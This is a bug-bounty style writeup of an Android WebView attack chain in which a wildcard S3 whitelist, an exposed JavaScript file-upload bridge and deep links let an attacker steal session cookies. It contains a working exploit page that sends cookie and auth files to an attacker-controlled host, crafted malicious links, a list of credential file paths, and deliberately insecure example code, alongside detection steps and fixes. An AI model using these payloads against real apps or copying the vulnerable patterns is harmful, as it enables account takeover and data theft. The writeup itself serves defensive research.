Mobile applications frequently embed WebViews to display web content within native apps. When improperly configured, these WebViews become a bridge for attackers to access sensitive app data, execute privileged operations, and ultimately take over user accounts.
This writeup examines a critical vulnerability chain in an Android application where a malicious deep link could exfiltrate session cookies, leading to complete account takeover with a single click.
Understanding the Attack Surface
What is a WebView?
A WebView is an embeddable browser component that allows Android apps to display web pages. Many apps use WebViews for:
- Displaying help documentation
- Rendering dynamic content
- OAuth login flows
- In-app browsers for external links
The security challenge is that WebViews run within the app's context and may have access to:
- JavaScript bridges exposing native functionality
- Local file system (app's private storage)
- Session cookies and tokens
- Native app APIs
The Hybrid App Problem
Many apps are built using hybrid frameworks like Cordova/PhoneGap or React Native. These frameworks expose native device functionality to JavaScript through "bridges" or "plugins."
The Architecture:
JavaScript Code in WebView ↓ JavaScript Bridge (FileTransfer, Camera, GPS, Storage…) ↓ Native Android Layer (File System, Network, Device APIs)
If an attacker can load their own JavaScript into a WebView that has these bridges enabled, they can invoke native functionality.
The Vulnerability
The application contained several security flaws that, when chained together, allowed complete account takeover:
Flaw 1: Overly Permissive URL Whitelist
The app validated URLs before loading them in the WebView. The validation included a whitelist of trusted domains:
public static boolean isAllowedUrl(String url) {
String[] trustedPatterns = {
"*.example.com",
"*.cloudfront.net",
"*.s3.amazonaws.com", // Too broad!
"*.storage.googleapis.com"
};
for (String pattern : trustedPatterns) {
if (urlMatchesPattern(url, pattern)) {
return true;
}
}
return false;
}The problem: anyone can create an S3 bucket and host content on *.s3.amazonaws.com. This wildcard trust effectively allows attacker-controlled content.
Flaw 2: JavaScript Bridge Exposure
The WebView exposed a JavaScript bridge that allowed file operations:
webView.addJavascriptInterface(new FileOperations(), "nativeBridge");
public class FileOperations {
@JavascriptInterface
public void uploadFile(String filePath, String uploadUrl) {
// Uploads local file to remote URL
File file = new File(filePath);
HttpClient.upload(file, uploadUrl);
}
@JavascriptInterface
public String readFile(String filePath) {
// Returns file contents
return FileUtils.readFileToString(new File(filePath));
}
}This bridge was available to any page loaded in the WebView, not just the app's own content.
Flaw 3: Deep Link Handler
The app registered a deep link handler that would open URLs in the embedded WebView:
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="exampleapp" />
<data android:scheme="https" android:host="app.example.com" />
</intent-filter>An attacker could craft a link that, when clicked, would open the malicious page in the app's WebView.
The Exploit Chain
Step 1: Host Malicious Page on Trusted Domain
The attacker creates an S3 bucket and hosts a malicious HTML page:
<!-- https://attacker-bucket.s3.amazonaws.com/exploit.html -->
<html>
<body>
<h1>Loading...</h1>
<script>
// Wait for the native bridge to be available
setTimeout(function() {
// Path to the app's cookie database
var cookiePath = "/data/user/0/com.example.app/app_webview/Default/Cookies";
// Exfiltrate to attacker server
var exfilUrl = "https://attacker.com/collect";
// Use the exposed JavaScript bridge
window.nativeBridge.uploadFile(cookiePath, exfilUrl);
// Also grab shared preferences
var prefsPath = "/data/user/0/com.example.app/shared_prefs/auth.xml";
window.nativeBridge.uploadFile(prefsPath, exfilUrl);
}, 1000);
</script>
</body>
</html>Step 2: Craft the Deep Link
The attacker creates a link that navigates to the malicious page while bypassing any URL checks:
<!-- Attacker's website -->
<a href="https://app.example.com/redirect?url=https://attacker-bucket.s3.amazonaws.com/exploit.html">
Click here for a special offer!
</a>Or using URL encoding to bypass filters:
exampleapp://open?url=https%3A%2F%2Fattacker-bucket.s3.amazonaws.com%2Fexploit.htmlStep 3: Victim Clicks the Link
When the victim clicks the link on their phone:
- Android opens the target app
- App validates URL →
*.s3.amazonaws.comis trusted → allowed - App loads the page in WebView with JavaScript bridge enabled
- Malicious JavaScript executes
- JavaScript calls
nativeBridge.uploadFile()with cookie database path - App uploads the cookie file to attacker's server
Step 4: Account Takeover
The attacker receives an SQLite database containing session cookies:
-- Contents of stolen Cookies file
SELECT * FROM cookies WHERE host_key LIKE '%example.com%';
host_key | name | value
------------------|----------------|----------------------------------
.example.com | session_id | eyJhbGciOiJIUzI1NiIs...
.example.com | auth_token | a]3kd9$mzp2...
.api.example.com | refresh_token | rt_8ks02m4n...The attacker imports these cookies into their browser and gains full access to the victim's account.
Technical Deep Dive
Why Cookie Files Are Accessible
Android apps store WebView cookies in an SQLite database at a predictable path:
/data/user/0/<package_name>/app_webview/Default/CookiesThis file is within the app's private storage, which the app (and its WebView JavaScript bridge) can access.
The JavaScript Bridge Security Model
When you add a JavaScript interface to a WebView:
webView.addJavascriptInterface(new MyBridge(), "bridge");Every method annotated with @JavascriptInterface becomes callable from JavaScript:
// From any page loaded in this WebView
window.bridge.anyExposedMethod("argument");The critical mistake is enabling this bridge for all loaded content, not just trusted first-party pages.
Path Traversal in File Operations
The vulnerable uploadFile method didn't validate the file path:
@JavascriptInterface
public void uploadFile(String filePath, String uploadUrl) {
// No validation! Attacker can specify any path
File file = new File(filePath);
if (file.exists()) {
HttpClient.upload(file, uploadUrl);
}
}Even with path validation, encoded paths could bypass checks:
// URL-encoded path
var path = "%2Fdata%2Fuser%2F0%2Fcom.example.app%2Fapp_webview%2FDefault%2FCookies";
window.nativeBridge.uploadFile(decodeURIComponent(path), exfilUrl);Other Sensitive Files to Target
Beyond cookies, attackers might target:
shared_prefs/*.xml — Auth tokens, user preferences
databases/*.db — Local data, cached credentials
files/auth.json — API keys, tokens
cache/ — Cached responses with sensitive data
app_webview/Local Storage/ — localStorage data
Example paths:
var targets = [
"/data/user/0/com.example.app/shared_prefs/authentication.xml",
"/data/user/0/com.example.app/databases/user_data.db",
"/data/user/0/com.example.app/files/config.json",
"/data/user/0/com.example.app/app_webview/Default/Local Storage/leveldb/"
];Detection Methods
Static Analysis
Look for these patterns in the APK:
# Decompile APK
apktool d app.apk
# Search for JavaScript interfaces
grep -r "addJavascriptInterface" .
grep -r "@JavascriptInterface" .
# Check for file operation methods
grep -r "uploadFile\|readFile\|writeFile" .
# Find URL whitelists
grep -r "amazonaws.com\|googleapis.com\|cloudfront" .Dynamic Analysis
Using Frida to intercept JavaScript bridge calls:
// frida-hook.js
Java.perform(function() {
var WebView = Java.use("android.webkit.WebView");
WebView.addJavascriptInterface.implementation = function(obj, name) {
console.log("[*] addJavascriptInterface called");
console.log(" Interface name: " + name);
console.log(" Object class: " + obj.getClass().getName());
return this.addJavascriptInterface(obj, name);
};
});Testing the Vulnerability
- Identify trusted domains — Intercept traffic and note which domains the app trusts
- Host test page — Create a page on a trusted domain (if possible) or find open redirects
- Test bridge access — Try calling exposed JavaScript interface methods
- Attempt file access — Try reading/uploading known file paths
Secure Implementation
Fix 1: Strict URL Validation
Don't trust wildcard cloud domains:
public static boolean isAllowedUrl(String url) {
// Exact domain matching only
Set<String> trustedDomains = Set.of(
"www.example.com",
"app.example.com",
"cdn.example.com"
);
try {
URL parsed = new URL(url);
return trustedDomains.contains(parsed.getHost());
} catch (MalformedURLException e) {
return false;
}
}Fix 2: Restrict JavaScript Bridge
Only enable bridges for first-party content:
webView.setWebViewClient(new WebViewClient() {
@Override
public void onPageStarted(WebView view, String url, Bitmap favicon) {
if (isFirstPartyUrl(url)) {
view.addJavascriptInterface(new FileOperations(), "nativeBridge");
} else {
view.removeJavascriptInterface("nativeBridge");
}
}
});Fix 3: Validate File Paths
Restrict file operations to safe directories:
@JavascriptInterface
public void uploadFile(String filePath, String uploadUrl) {
File file = new File(filePath);
File allowedDir = new File(context.getFilesDir(), "uploads");
// Ensure file is within allowed directory
if (!file.getCanonicalPath().startsWith(allowedDir.getCanonicalPath())) {
throw new SecurityException("Access denied");
}
// Proceed with upload
HttpClient.upload(file, uploadUrl);
}Fix 4: Disable File Access in WebView
WebSettings settings = webView.getSettings();
settings.setAllowFileAccess(false);
settings.setAllowFileAccessFromFileURLs(false);
settings.setAllowUniversalAccessFromFileURLs(false);Impact Assessment
- Account Takeover (Critical) — Stolen session cookies allow full account access
- Data Theft (High) — Exfiltration of local databases, preferences
- Session Hijacking (Critical) — Attacker can impersonate user across platforms
- Privacy Breach (High) — Access to cached personal data
This vulnerability is particularly severe because:
- One-click exploitation — victim just needs to click a link
- Silent execution — no visible indication of compromise
- Full account access — session tokens work across all platforms
- Persistent access — refresh tokens allow long-term access
Key Takeaways
Android WebViews are a significant attack surface. When auditing mobile apps:
- Check URL whitelists — wildcard cloud domains are dangerous
- Identify JavaScript bridges — look for
addJavascriptInterfacecalls - Test file access — can you read sensitive app files?
- Trace deep links — where do they lead and what context do they have?
The combination of trusted cloud domains, exposed JavaScript bridges, and file system access creates a powerful attack chain. Each component might seem harmless alone, but together they enable complete account compromise.
Episode #2 of my vulnerability research series.
#bugbounty #android #mobile #security #webview #infosec